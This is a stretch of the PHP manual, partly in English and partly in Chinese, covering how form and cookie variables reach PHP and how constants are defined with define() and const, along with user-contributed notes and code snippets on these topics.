7.2.34, 7.3.23, 7.4.11 | The names of incoming cookies are no longer url-decoded for security reasons.

User Contributed Notes

anisgazis at gmail dot com 10-Jan-2019 03:59
Dots , spaces and [  in variable names are converted to underscores. For example
<input name="a.b" /> becomes $_REQUEST["a_b"].
<input name="a b" /> becomes $_REQUEST["a_b"].
<input name="a[b" /> becomes $_REQUEST["a_b"].
<input name="a]b" /> becomes $_REQUEST["a]b"].
<input name="a-b" /> becomes $_REQUEST["a-b"].
<input name="a/b" /> becomes $_REQUEST["a/b"].
<input name="a\b" /> becomes $_REQUEST["a\b"].
<input name="a,b" /> becomes $_REQUEST["a,b"].
fabian dot picone at gmail dot com 24-Sep-2018 01:51
"That will create two separate cookies although MyCookie will now be a single array in your script. If you want to set just one cookie with multiple values, consider using serialize() or explode() on the value first."

explode should be implode in this sentence.
Sadik_quake2003 at mail dot ru 05-Aug-2017 09:51
<form method="post">
    <select name="selecter">
        <option>one</option>
        <option>two</option>
        <option>three</option>
    </select><br />
    <input type="submit" value="send" />
</form>

<?=$_POST["selecter"];?>

If we change first option, that result will be: one (important: not null !)
Sadik_quake2003 at mail dot ru 05-Aug-2017 09:51
<form method="post">
    <select name="list">
        <option>one</option>
        <option>two</option>
        <option>three</option>
    </select><br />
    <input type="submit" value="send" />
</form>

<?=$_POST["list"];?>

If we change first option, that result will be: one (important: not null !)
Anonymous 05-Feb-2014 12:42
From HTML 5.1 Draft:
http://www.w3.org/html/wg/drafts/html/master/forms.html#naming-form-controls:-the-name-attribute

The name content attribute gives the name of the form control, as used in form submission and in the form element's elements object. If the attribute is specified, its value must not be the empty string.
Any non-empty value for name is allowed.

So use the format like this <select multiple name="beer[]"> is still in the HTML 5 standard.
walf 03-Aug-2011 06:38
WARNING! replacement of spaces and dots does not occur in array keys.

E.g. If you have
<input name="a. b[x. y]" value="foo" />

var_dump($_POST);
gives
array(1) {
  ["a__b"]=>
  array(1) {
    ["x. y"]=>
    string(3) "foo"
  }
}
POSTer 13-Nov-2009 02:28
Here's a simple function to give you an uncorrupted version of $_POST:

<?php
// Function to fix up PHP's messing up POST input containing dots, etc.
function getRealPOST() {
    $pairs = explode("&", file_get_contents("php://input"));
    $vars = array();
    foreach ($pairs as $pair) {
        $nv = explode("=", $pair);
        $name = urldecode($nv[0]);
        $value = urldecode($nv[1]);
        $vars[$name] = $value;
    }
    return $vars;
}
?>
Anonymous 13-Feb-2008 06:46
The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.
vierubino dot r3m0oFdisB1T at gmail dot com 24-Aug-2007 09:12
When you are using checkboxes to submit multiple choices, there is no need to use the complex method further down the page where you assign a unique name to each checkbox.

Instead, just name each checkbox as the same array, e.g.:

<input type="checkbox" name="items[]" value="foo" />
<input type="checkbox" name="items[]" value="bar" />
<input type="checkbox" name="items[]" value="baz" />

This way your $_POST["items"] variable will return as an array containing all and only the checkboxes that were clicked on.
t.montg AT gmail DOT com 26-Apr-2007 05:05
For anyone else having trouble figuring out how to access values in a SELECT element from a POST or GET form, you can't set the "id" attribute to the same thing as your "name" attribute.  i.e. don't do this:

<?php
  //Not so good
  <select multiple="multiple" id="selectElem" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

If you do the above, the variable $_POST['selectElem'] will not be set.  Instead, either change the id or name attribute so that they are dissimilar.  i.e. do this:

<?php
  //So good (notice the new "id" value)
  <select multiple="multiple" id="selectElemId" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

Then you can access the value(s) of the SELECT element through the array $_POST['selectElem'][] or $_GET['selectElem'][].  It took me quite some time to figure out the problem.
ch1902uk at hotmail dot com 18-Mar-2006 11:47
Regarding image input buttons, above where it says:

"When the user clicks somewhere on the image, the accompanying form will be transmitted to the server with two *additional* variables, sub_x and sub_y. These contain the coordinates of the user click within the image."

This is the case with Firefox (and probably other standards browsers), however my experience with Internet Explorer is that when image inputs are clicked, they only submit the location of the click on the button and *not* the name of the input.

So if you have a form to move/delete entries like this

entry[]  [delete_0] [up_0] [down_0]
entry[]   [delete_1] [up_1] [down_1]
entry[]   [delete_2] [up_2] [down_2]

Then submitting the form in firefox will give you post variables such as

<?php
   $_POST['delete_2'];   // "Delete" - button value
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

In IE you only get

<?php
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

So if you are checking for what button was clicked do something like this

<?php
   for ($i = 0; $i < count($_POST['entry']); $i++)
   {
      if (isset($_POST['delete_' . $i . '_x']))
      {
         // do delete
      }
   }
?>
krydprz at iit dot edu 03-May-2005 01:14
This post is with regards to handling forms that have more than one submit button.

Suppose we have an HTML form with a submit button specified like this:

<input type="submit" value="Delete" name="action_button">

Normally the 'value' attribute of the HTML 'input' tag (in this case "Delete") that creates the submit button can be accessed in PHP after post like this:

<?php
$_POST['action_button'];
?>

We of course use the 'name' of the button as an index into the $_POST array.

This works fine, except when we want to pass more information with the click of this particular button.

Imagine a scenario where you're dealing with user management in some administrative interface.  You are presented with a list of user names queried from a database and wish to add a "Delete" and "Modify" button next to each of the names in the list.  Naturally the 'value' of our buttons in the HTML form that we want to display will be "Delete" and "Modify" since that's what we want to appear on the buttons' faceplates.

Both buttons (Modify and Delete) will be named "action_button" since that's what we want to index the $_POST array with.  In other words, the 'name' of the buttons along cannot carry any uniquely identifying information if we want to process them systematically after submit. Since these buttons will exist for every user in the list, we need some further way to distinguish them, so that we know for which user one of the buttons has been pressed.

Using arrays is the way to go.  Assuming that we know the unique numerical identifier of each user, such as their primary key from the database, and we DON'T wish to protect that number from the public, we can make the 'action_button' into an array and use the user's unique numerical identifier as a key in this array.

Our HTML code to display the buttons will become:

<input type="submit" value="Delete" name="action_button[0000000002]">
<input type="submit" value="Modify" name="action_button[0000000002]">

The 0000000002 is of course the unique numerical identifier for this particular user.

Then when we handle this form in PHP we need to do the following to extract both the 'value' of the button ("Delete" or "Modify") and the unique numerical identifier of the user we wish to affect (0000000002 in this case). The following will print either "Modify" or "Delete", as well as the unique number of the user:

<?php
$submitted_array = array_keys($_POST['action_button']);
echo ($_POST['action_button'][$submitted_array[0]] . " " . $submitted_array[0]);
?>

$submitted_array[0] carries the 0000000002.
When we index that into the $_POST['action_button'], like we did above, we will extract the string that was used as 'value' in the HTML code 'input' tag that created this button.

If we wish to protect the unique numerical identifier, we must use some other uniquely identifying attribute of each user. Possibly that attribute should be encrypted when output into the form for greater security.

Enjoy!
tim at timpauly dot com 30-Apr-2005 06:57
This code module can be added to every form using require_once().
It will process any and all form data, prepending each variable with
a unique identifier (so you know which method was used to get the data).

My coding could be neater, but this sure makes processing forms much easier!

<?php
// -----------------------------------------------------------------
// Basic Data PHP module. This module captures all GET, POST
// and COOKIE data and processes it into variables.
// Coded April, 2005 by Timothy J. Pauly
// -----------------------------------------------------------------
//
// coo_ is prepended to each cookie variable
// get_ is prepended to each GET variable
// pos_ is prepended to each POST variable
// ses_ is prepended to each SESSION variable
// ser_ is prepended to each SERVER variable

session_start(); // initialize session data
$ArrayList = array("_POST", "_GET", "_SESSION", "_COOKIE", "_SERVER"); // create an array of the autoglobal arrays
// we want to process

foreach($ArrayList as $gblArray) // process each array in the array list
{
   $prefx = strtolower(substr($gblArray,1,3))."_"; // derive the prepend string
// from the autoglobal type name
   $tmpArray = $$gblArray;
   $keys = array_keys($tmpArray); // extract the keys from the array being processed
   foreach($keys as $key) // process each key
    {

    $arcnt = count($tmpArray[$key]);

    if ($arcnt > 1) // Break down passed arrays and
// process each element seperately
    {
      $lcount = 0;
      foreach ($tmpArray[$key] as $dval)
        {
           $prkey = $prefx.$key; // create a new key string
// with the prepend string added
           $prdata['$prkey'] = $dval; // this step could be eliminated
           ${$prkey}[$lcount] = $prdata['$prkey']; //create new key and insert the data
           $lcount++;
        }

        } else { // process passed single variables

                $prkey = $prefx.$key; // create a new key string
// with the prepend string added
                $prdata['$prkey'] = $tmpArray[$key]; // insert the data from
// the old array into the new one
                $$prkey = $prdata['$prkey']; // create the newly named
// (prepended) key pair using variable variables :-)

               }
    }
}

// -------------------------------------------------------------
?>
tmk-php at infeline dot org 08-Apr-2005 09:38
To handle forms with or without [] you can do something like this:

<?php
    function repairPost($data) {
        // combine rawpost and $_POST ($data) to rebuild broken arrays in $_POST
        $rawpost = "&".file_get_contents("php://input");
        while(list($key,$value)= each($data)) {
            $pos = preg_match_all("/&".$key."=([^&]*)/i",$rawpost, $regs, PREG_PATTERN_ORDER);
            if((!is_array($value)) && ($pos > 1)) {
                $qform[$key] = array();
                for($i = 0; $i < $pos; $i++) {
                    $qform[$key][$i] = urldecode($regs[1][$i]);
                }
            } else {
                $qform[$key] = $value;
            }
        }
        return $qform;
    }

    // --- MAIN

    $_POST = repairPost($_POST);
?>

The function will check every field in the $_POST with the raw post data and rebuild the arrays that got lost.
Murat TASARSU 02-Mar-2005 04:29
if you want your multiple select returned variable in comma seperated form you can use this. hope that helps. regards...

$myvariable
   Array ( [0] => one [1] => two [2] => three )
turns into
   one,two,three

<?php
$myvariable="";
$myseperator="";
foreach ( $_POST["myvariable"] as $v) {
if (!isset($nofirstcomma)) $nofirstcomma=0; else $myseperator=",";
$myvariable = $myvariable.$myseperator.$v;
}
echo $myvariable;
?>
jlratwil at yahoo dot com 01-Feb-2005 05:35
To get multiple selected (with "multiple" ) lists in <select> tag, make sure that the "name" attribute is added to braces, like this:

<select multiple="multiple" name="users[]">
     <option value="foo">Foo</option>
     <option value="bar">Bar</option>
</select>

When submitted to PHP file (assume that you have a complete form) it will return an array of strings. Otherwise, it will just return the last element of the <select> tag you selected.
mattij at nitro fi no at no dot no 05-Nov-2004 07:39
If you try to refer or pass HTML-form data which has arrays with javascript remember that you should point to that array like this

<script type="text/javascript">
    window.opener.document.forms[0]["to[where][we][point]"];
</script>
lennynyktyk at yahoo dot com 09-Jul-2004 02:42
When dealing with multiple select boxes and the name=some_name[] so that PHP will understand that is needs to interpet the input as an array an not as a single value. If you want to access this in Javascript you should assign an id attribute to the select box as well as the name attribute. Then proceed to use the id attribute in Javascript to reference the select box and the name attribute to reference the select box in PHP.
Example

<select multiple id="select_id" name="select_name[]">
....

</select>

<?PHP
    echo $select_name[0];
?>

<script language="javascript">
  document.forms[0].select_id.options[0].selected = true;
</script>

I hope you get the idea
arjini at mac dot com 26-Mar-2004 11:48
When dealing with form inputs named_like_this[5] and javascript, instead of trying to get PHP to do something fancy as mentioned below, just try this on the javascript side of things:

<form name="myForm">

<script>
my_fancy_input_name = 'array_of_things[1]';
/* now just refer to it like this in the dom tree

document[myForm][my_fancy_input_name].value

etc*/
</script>

<input type="text" name="array_of_things[1]" value="1"/>
</form>

No fancy PHP, in fact, you shouldn't need to change your PHP at all.
jim at jamesdavis dot it 22-Jan-2004 11:59
How to pass a numerically indexed array.
This is the part inside the form. Notice that the name is not 'english[$r]' which you would normally write, but 'english[]'. PHP adds the index when it receives the post and it starts at 0.

<?php

for ($r=0; $r <= count($english)-1; $r++){
         echo "<TEXTAREA NAME='english[]'>".$english[$r]."</TEXTAREA>";

}
?>
<?php

And this will get it out at the other end
function retrieve_english(){
    for ($r=0; $r <= count($_POST['english'])-1; $r++){
        echo $_POST['english'][$r]."<BR>";
    }
}
?>

Keys are useful but so are numerical indices!
Cheers everyone
darren at sullivan dot net 01-Dec-2003 08:37
This function is a simple solution for getting the array of selectes from a checkbox list or a dropdown list out of the Querry String. I took an example posted earlier and simplified it.

<?php
function multi_post_item($repeatedString) {
    // Gets the specified array of multiple selects and/or
    // checkboxes from the Query String
    $ArrayOfItems = array();
    $raw_input_items = split("&", $_SERVER["QUERY_STRING"]);
    foreach ($raw_input_items as $input_item) {
        $itemPair = split("=", $input_item);
        if ($itemPair[0] == $repeatedString) {
            $ArrayOfItems[] = $itemPair[1];
        }
    }
    return $ArrayOfItems;
}
?>

Use the name of the field as the agrument. Example:

<?php
$Order = $_GET['Order'];
$Name = $_GET['Name'];
$States = multi_post_item('States');
$Products = multi_post_item('Products');
?>

Be sure to check for NULL if there are no selections or boxes checked.
kevinrlat nospam dot ccs dot neu dot edu 07-Aug-2003 10:47
if you use an array of checkboxes to submit info to a database or what have you, be careful of the case when no boxes are checked.  for example:

<form method="post">
<input type="checkbox" name="checkstuff[]" value="0">
<input type="checkbox" name="checkstuff[]" value="1">
<input type="checkbox" name="checkstuff[]" value="2">

. . .

</form>

if these are submitted and none are checked, the $_POST['checkstuff'] variable will not contain an empty array, but a NULL value.  this bothered me when trying to implode() the values of my checkboxes to insert into a database, i got a warning saying the 2nd argument was the wrong type.

hope this helps!
-kevin
un shift at yahoo dot com 01-Apr-2003 10:07
This function takes a recurring form item from php://input and loads it into an array - useful for javascript/dom incompatibility with form_input_item[] names for checkboxes, multiple selects, etc.  The fread maxes out at 100k on this one.  I guess a more portable option would be pulling in ini_get('post_max_size') and converting it to an integer.

<?php
function multi_post_item($input_item_name) {
     $array_output = array();
     $in_handle = fopen("php://input", "r");
     $raw_input_items = split("&", urldecode(fread($in_handle, 100000)));
     foreach ($raw_input_items as $input_item) {
            // split this item into name/value pair
            $item = split("=", $input_item);
            // form item name
            $item_name = $item[0];
            // form item value
            $item_value = $item[1];
            if ($item_name == $input_item_name) {
                    $array_output[] = $item_value;
            }
     }
     return $array_output;
}
?>
vb at bertola dot eu dot org 19-Mar-2003 09:38
For what I understand, since PHP 4.3 it is possible to access the content of a POST request (or other methods as well) as an input stream named php://input, example:

readfile("php://input");
[to display it]

or

$fp = fopen("php://input", "r");
[to open it and then do whatever you want]

This is very useful to access the content of POST requests which actually have a content (and not just variable-value couples, which appear in $_POST).

This substitutes the old $HTTP_RAW_POST_DATA variable available in some of the previous 4.x versions. It is available for other upload methods different from POST too, but it is not available for POSTs with multipart/form-data content type, since the file upload handler has already taken care of the content in that case.
04-Mar-2003 07:21
"...the dot (period, full stop) is not a valid character in a PHP variable name."

That's not completely correct, consider this example:
$GLOBALS['foo.bar'] = 'baz';
echo ${'foo.bar'};
This will output baz as expected.
keli at kmdsz dot ro 03-Feb-2003 07:37
image type inputs apparently return their "value" argument from Mozilla, but not from IEXplorer... :(

example:

 <input type="image" name="sb" value="first" src="first.jpg">

using a mozilla will give you
  $sb="first" AND $sb_x, $sb_y ... whereas from IE there's just no $sb. :(

[this in short form, as I'm still using trackvars :) ]
hjncom at hjncom dot net 25-May-2002 03:34
I think '[' and ']' are valid characters for name attributes.

http://www.w3.org/TR/html401/interact/forms.html#h-17.4
-> InputType of 'name' attribute is 'CDATA'(not 'NAME' type)

http://www.w3.org/TR/html401/types.html#h-6.2
-> about CDATA('name' attribute is not 'NAME' type!)
...CDATA is a sequence of characters from the document character set and may include character entities...

http://www.w3.org/TR/html401/sgml/entities.html
--> about Character entity references in HTML 4
([ - &#91, ] - &#93)
a at b dot c dot de 03-Feb-2002 04:49
As far as whether or not "[]" in name attributes goes, The HTML4.01 specification only requires that it be a case-insensitive CDATA token, which can quite happily include "[]". Leading and trailing whitespace may be trimmed and shouldn't be used.

It is the id= attribute which is restricted, to a case-sensitive NAME token (not to be confused with a name= attribute).
carl_steinhilber at NOSPAMmentor dot com 30-Jan-2002 02:19
A group of identically-named checkbox form elements returning an array is a pretty standard feature of HTML forms. It would seem that, if the only way to get it to work is a non-HTML-standard-compliant workaround, it's a problem with PHP.

Since the array is passed in the header in a post, or the URL in a get, it's the PHP interpretation of those values that's failing.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 04:02
Important:  Pay attention to the following security concerns when handling user submitted  data :

http://www.php.net/manual/en/security.registerglobals.php
http://www.php.net/manual/en/security.variables.php


常量

Table of Contents

  • 语法
  • 预定义常量
  • 魔术常量

常量是一个简单值的标识符（名字）。如同其名称所暗示的，在脚本执行期间该值不能改变（除了所谓的 魔术常量，它们其实不是常量）。常量大小写敏感。传统上常量标识符总是大写的。

Note:

在 PHP 8.0.0 之前，使用 define() 定义的常量可能不区分大小写。

常量名和其它任何 PHP 标签遵循同样的命名规则。合法的常量名以字母或下划线开始，后面跟着任何字母，数字或下划线。用正则表达式是这样表达的： ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$。

还可以使用 define() 函数来定义包含保留字或非常规名称的常量，这类常量可以通过 constant() 函数来获取名称，但是非常不推荐这种用法。

Tip

请参见用户空间命名指南。

Example #1 合法与非法的常量名

<?php

// 合法的常量名
define("FOO", "something");
define("FOO2", "something else");
define("FOO_BAR", "something more");

// 非法的常量名
define("2FOO", "something");

// 下面的定义是合法的，但应该避免这样做：(自定义常量不要以__开头)
// 也许将来有一天 PHP 会定义一个 __FOO__ 的魔术常量
// 这样就会与你的代码相冲突
define("__FOO__", "something");

?>

Note: 在这里，字母指的是 a-z，A-Z，以及从 128 到 255（0x80-0xff）的 ASCII 字符。

和 superglobals 一样，常量的范围是全局的。常量可以从脚本的任何地方被访问，而不考虑作用域。有关作用域的更多信息请阅读手册中的变量范围。

Note: 从 PHP 7.1.0 开始，类常量可以声明为 protected 或 private 的可见性， 使其只在其定义的类的层次范围内可用。

User Contributed Notes

mparsa1372 at gmail dot com 11-Mar-2021 05:51
<?php
//Syntax of define constant in php
//define(name, value, case-insensitive);

//it will print 100 in output
define('BOOK',100);
echo BOOK;

//it will print 200 in output
define('book', 200 , true);
echo book;

//results of all are the same
echo '<br>';
echo BOOK;
echo '<br>';
echo book;
warwick dot jm dot barnes at gmail dot com 16-Jun-2020 07:49
The documentation says, "You can access constants anywhere in your script without regard to scope", but it's worth keeping in mind that a const declaration must appear in the source file before the place where it's used.

This doesn't work (using PHP 5.4):
<?php
foo();
const X = 1;
function foo() {
    echo "Value of X: " . X;
}
?>
Result: "Value of X: X"

But this works:
<?php
const X = 1;
foo();
function foo() {
    echo "Value of X: " . X;
}
?>
Result: "Value of X: 1"

This is potentially confusing because you can refer to a function that occurs later in your source file, but not a constant. Even though the const declaration is processed at compile time, it behaves a bit like it's being processed at run time.
Sumon Mahmud (Abu Taleb) 01-Feb-2020 02:21
define('MYKEY', 'The value is from outside of class');
class Abc{

    const MAX = 10;

    public function __construct(){
        define('TEST', 'hello world! '); // using define function in class constructor
    }
    public function getOutput(){
        echo TEST . MYKEY . PHP_EOL; // accessing constants from outside of class
    }
}

$obj = new Abc();  // define function will call
$obj->getOutput(); // hello world! The value is from outside of class

echo Abc::MAX . PHP_EOL; // 10 - accessing constant using scope resolution

echo TEST; // hello world!  Because the constants is defined while constructor call
jcastromail at yahoo dot es 07-Oct-2017 12:13
Performance of constants.  PHP 7.1.10 32 bits (Opcache active, windows 10 i7-64bits) but apparently the trends is the same with the 5.x

using a constant declared by DEFINE('CNS',value) : 0.63575601577759s
using a constant declared by const CNS=value : 0.61372208595276s
using a variable declared by $v=value : 0.51184010505676s

In average, the use of DEFINE and CONST is around the same with some sightly  better performance of CONST instead of DEFINE. However, using a variable is around 10-50% better than to use a constant.  So, for a performance intensive task, constant is not the best option.

$p1=microtime(true);
$x=0;
for($i=0;$i<50000000;$i++) {
    $x+=CNS;
}
$p2=microtime(true);
gried at NOSPAM dot nsys dot by 17-Jan-2016 07:12
Lets expand comment of 'storm' about usage of undefined constants. His claim that 'An undefined constant evaluates as true...' is wrong and right at same time. As said further in documentation ' If you use an undefined constant, PHP assumes that you mean the name of the constant itself, just as if you called it as a string...'. So yeah, undefined global constant when accessed directly will be resolved as string equal to name of sought constant (as thought PHP supposes that programmer had forgot apostrophes and autofixes it) and non-zero non-empty string converts to True.

There are two ways to prevent this:
1. always use function constant('CONST_NAME') to get constant value (BTW it also works for class constants - constant('CLASS_NAME::CONST_NAME') );
2. use only class constants (that are defined inside of class using keyword const) because they are not converted to string when not found but throw exception instead (Fatal error: Undefined class constant).
Raheel Khan 22-Feb-2015 08:39
class constant are by default public in nature but they cannot be assigned visibility factor and in turn gives syntax error

<?php

class constants {

    const MAX_VALUE = 10;
        public const MIN_VALUE =1;

}

// This will work
echo constants::MAX_VALUE;

// This will return syntax error
echo constants::MIN_VALUE;
?>
php at webflips dot net 02-Apr-2014 08:03
It is perfectly valid to use a built-in PHP keyword as a constant name - as long as you the constant() function to retrieve it later:

<?php
define('echo', 'My constant value');

echo constant('echo'); // outputs 'My constant value'
?>
wbcarts at juno dot com 20-May-2012 03:04
11/14/2016 - note updated by sobak
-----

CONSTANTS and PHP Class Definitions

Using "define('MY_VAR', 'default value')" INSIDE a class definition does not work as expected. You have to use the PHP keyword 'const' and initialize it with a scalar value -- boolean, int, float, string (or array in PHP 5.6+) -- right away.

<?php

define('MIN_VALUE', '0.0');   // RIGHT - Works OUTSIDE of a class definition.
define('MAX_VALUE', '1.0');   // RIGHT - Works OUTSIDE of a class definition.

//const MIN_VALUE = 0.0;         RIGHT - Works both INSIDE and OUTSIDE of a class definition.
//const MAX_VALUE = 1.0;         RIGHT - Works both INSIDE and OUTSIDE of a class definition.

class Constants
{
  //define('MIN_VALUE', '0.0');  WRONG - Works OUTSIDE of a class definition.
  //define('MAX_VALUE', '1.0');  WRONG - Works OUTSIDE of a class definition.

  const MIN_VALUE = 0.0;      // RIGHT - Works INSIDE of a class definition.
  const MAX_VALUE = 1.0;      // RIGHT - Works INSIDE of a class definition.

  public static function getMinValue()
  {
    return self::MIN_VALUE;
  }

  public static function getMaxValue()
  {
    return self::MAX_VALUE;
  }
}

?>

#Example 1:
You can access these constants DIRECTLY like so:
 * type the class name exactly.
 * type two (2) colons.
 * type the const name exactly.

#Example 2:
Because our class definition provides two (2) static functions, you can also access them like so:
 * type the class name exactly.
 * type two (2) colons.
 * type the function name exactly (with the parentheses).

<?php

#Example 1:
$min = Constants::MIN_VALUE;
$max = Constants::MAX_VALUE;

#Example 2:
$min = Constants::getMinValue();
$max = Constants::getMaxValue();

?>

Once class constants are declared AND initialized, they cannot be set to different values -- that is why there are no setMinValue() and setMaxValue() functions in the class definition -- which means they are READ-ONLY and STATIC (shared by all instances of the class).
Andreas R. 30-Apr-2007 07:19
If you are looking for predefined constants like
* PHP_OS (to show the operating system, PHP was compiled for; php_uname('s') might be more suitable),
* DIRECTORY_SEPARATOR ("\\" on Win, '/' Linux,...)
* PATH_SEPARATOR (';' on Win, ':' on Linux,...)
they are buried in 'Predefined Constants' under 'List of Reserved Words' in the appendix:
http://www.php.net/manual/en/reserved.constants.php
while the latter two are also mentioned in 'Directory Functions'
http://www.php.net/manual/en/ref.dir.php
hafenator2000 at yahoo dot com 21-Apr-2005 02:09
PHP Modules also define constants.  Make sure to avoid constant name collisions.  There are two ways to do this that I can think of.
First: in your code make sure that the constant name is not already used.  ex. <?php if (! defined("CONSTANT_NAME")) { Define("CONSTANT_NAME","Some Value"); } ?>  This can get messy when you start thinking about collision handling, and the implications of this.
Second: Use some off prepend to all your constant names without exception  ex. <?php Define("SITE_CONSTANT_NAME","Some Value"); ?>

Perhaps the developers or documentation maintainers could recommend a good prepend and ask module writers to avoid that prepend in modules.
storm 18-Apr-2005 09:54
An undefined constant evaluates as true when not used correctly. Say for example you had something like this:

settings.php
<?php
// Debug mode
define('DEBUG',false);
?>

test.php
<?php
include('settings.php');

if (DEBUG) {
   // echo some sensitive data.
}
?>

If for some reason settings.php doesn't get included and the DEBUG constant is not set, PHP will STILL print the sensitive data. The solution is to evaluate it. Like so:

settings.php
<?php
// Debug mode
define('DEBUG',0);
?>

test.php
<?php
include('settings.php');

if (DEBUG == 1) {
   // echo some sensitive data.
}
?>

Now it works correctly.
ewspencer at industrex dot com 18-Aug-2003 06:30
I find using the concatenation operator helps disambiguate value assignments with constants. For example, setting constants in a global configuration file:

<?php
define('LOCATOR',   "/locator");
define('CLASSES',   LOCATOR."/code/classes");
define('FUNCTIONS', LOCATOR."/code/functions");
define('USERDIR',   LOCATOR."/user");
?>

Later, I can use the same convention when invoking a constant's value for static constructs such as require() calls:

<?php
require_once(FUNCTIONS."/database.fnc");
require_once(FUNCTIONS."/randchar.fnc");
?>

as well as dynamic constructs, typical of value assignment to variables:

<?php
$userid  = randchar(8,'anc','u');
$usermap = USERDIR."/".$userid.".png";
?>

The above convention works for me, and helps produce self-documenting code.

-- Erich
katana at katana-inc dot com 25-Feb-2002 11:53
Warning, constants used within the heredoc syntax (http://www.php.net/manual/en/language.types.string.php) are not interpreted!

Editor's Note: This is true. PHP has no way of recognizing the constant from any other string of characters within the heredoc block.


语法

可以使用 const 关键字或 define() 函数两种方法来定义一个常量。函数 define() 允许将常量定义为一个表达式，而 const 关键字有一些限制，具体可参见下述章节。一个常量一旦被定义，就不能再改变或者取消定义。

使用 const 关键字定义常量时，只能包含标量数据（bool、int、float 、string）。可以将常量定义为一个表达式，也可以定义为一个 array。还可以定义 resource 为常量，但应尽量避免，因为可能会造成不可预料的结果。

可以简单的通过指定其名字来取得常量的值，与变量不同，不应该在常量前面加上 $ 符号。如果常量名是动态的，也可以用函数 constant() 来获取常量的值。用 get_defined_constants() 可以获得所有已定义的常量列表。

Note: 常量和（全局）变量在不同的名字空间中。这意味着例如 true 和 $TRUE 是不同的。

如果使用了一个未定义的常量，则会抛出 Error。 在 PHP 8.0.0 之前，调用未定义的常量会被解释为一个该常量的 字符串，即（CONSTANT 对应 "CONSTANT" ）。 此方法已在 PHP 7.2.0 中被废弃，会抛出一个 E_WARNING 级错误。（PHP 7.2.0 之前会发出一个 E_NOTICE 级的错误。）参见手册中为什么 $foo[bar] 是错误的（除非 bar 是一个常量）。这不适用于 (完全)限定的常量，如果未定义，将始终引发 Error 。

Note: 如果要检查是否定义了某常量，请使用 defined() 函数。

常量和变量有如下不同：

  • 常量前面没有美元符号（$）；
  • 常量可以不用理会变量的作用域而在任何地方定义和访问；
  • 常量一旦定义就不能被重新定义或者取消定义；
  • 常量只能计算标量值或数组。

Example #1 定义常量

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // 输出 "Hello world."
echo Constant; // 抛出错误：未定义的常量 "Constant"
// 在 PHP 8.0.0 之前，输出 "Constant" 并发出一个提示级别错误信息
?>

Example #2 使用关键字 const 定义常量

<?php
// 简单的标量值
const CONSTANT = 'Hello World';

echo CONSTANT;

// 标量表达式
const ANOTHER_CONST = CONSTANT.'; Goodbye World';
echo ANOTHER_CONST;

const ANIMALS = array('dog', 'cat', 'bird');
echo ANIMALS[1]; // 将输出 "cat"

// 常量数组
define('ANIMALS', array(
'dog',
'cat',
'bird'
));
echo ANIMALS[1]; // 将输出 "cat"
?>

?>

Note:

和使用 define() 来定义常量相反的是，使用 const 关键字定义常量必须处于最顶端的作用域，因为用此方法是在编译时定义的。这就意味着不能在函数内，循环内以及 if 或 try/catch 语句之内用 const 来定义常量。

参见

  • 类常量

User Contributed Notes

souzanicolas87 at gmail dot com 29-Dec-2021 12:17
the documentation doesn't go too far in explaining the crucial difference between the two ways of declaring constants in PHP.

Const is handled at compile time, define() at run time. For this reason, a constant cannot be conditionally defined using Const, for example.

Another difference we can notice occurs in the constant declarations in classes. Const infiltrates the class scope, while define() leaks into the global scope.

<?php

Class Myclass (){
    const NAME = "Nicolas";
}

?>

The NAME constant is within the scope of the MyClass class.
LilyWhite 29-Sep-2021 05:39
> Constants and (global) variables are in a different namespace. This implies that for example true and $TRUE are generally different.

This means that you may assign a value to a variable with the same name of a constant, which might lead to unwanted results.

<?php
const FOO = "hello";
$FOO = "goodbye";
echo $FOO;
?>

will output ``goodbye''.
halfhearted13 at gmail dot com 17-Aug-2020 12:08
Constants of constant :

<?php

const foo = hello;
const bar = foo;
const bd = bar;

echo "bd = " .bd;   // Prints out: Hello

?>
privat at ulrich-kapp dot de 20-Jan-2020 08:33
const ArrayFromTextfile = file("mytextfile.txt", FILE_IGNORE_NEW_LINES);

does not work, it throws an error:
Fatal error: Constant expression contains invalid operations in php shell code on line ...

Instead use:

define ("ArrayFromTextfile", file("mytextfile.txt", FILE_IGNORE_NEW_LINES));

print_r(ArrayFromTextfile);

Result:
Array
(
    [0] ? Line 1
    [1] ? Line 2
    [2] ? Line 3
    [3] => ...
)
mh at hanft dot de 24-Jun-2019 09:49
With PHP 5.6, multi-dimensional arrays are also possible if you use "const" instead of "define". So,

define('QUARTLIST',array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul')));

won't work with PHP 5.6, but

const QUARTLIST=array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul'));

will.
login at (two)view dot de 04-Sep-2017 11:16
Just a quick note:
From PHP7 on you can even define a multidimensional Array as Constant:

define('QUARTLIST',array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul'));

does work as expected.


预定义常量

PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的，只有在加载了这些扩展库时才会出现，或者动态加载后，或者在编译时已经包括进去了。

User Contributed Notes

public at taliesinnuin dot net 06-Jul-2020 03:40
If you're using PHP with fpm (common in this day and age), be aware that __DIR__ and __FILE__ will return values based on the fpm root which MAY differ from its actual location on the file system.

This can cause temporary head-scratching if deploying an app where php files within the web root pull in PHP files from outside of itself (a very common case). You may be wondering why __DIR__ returns "/" when the file itself lives in /var/www/html or whathaveyou.

You might handle such a situation by having NGINX explicitly add the necessary part of the path in its fastcgi request and then you can set the root on the FPM process / server / container to be something other than the webroot (so long as no other way it could become publicly accessible).

Hope that saves someone five minutes who's moving code to FPM that uses __DIR__.
Sbastien Fauvel 15-Apr-2016 01:27
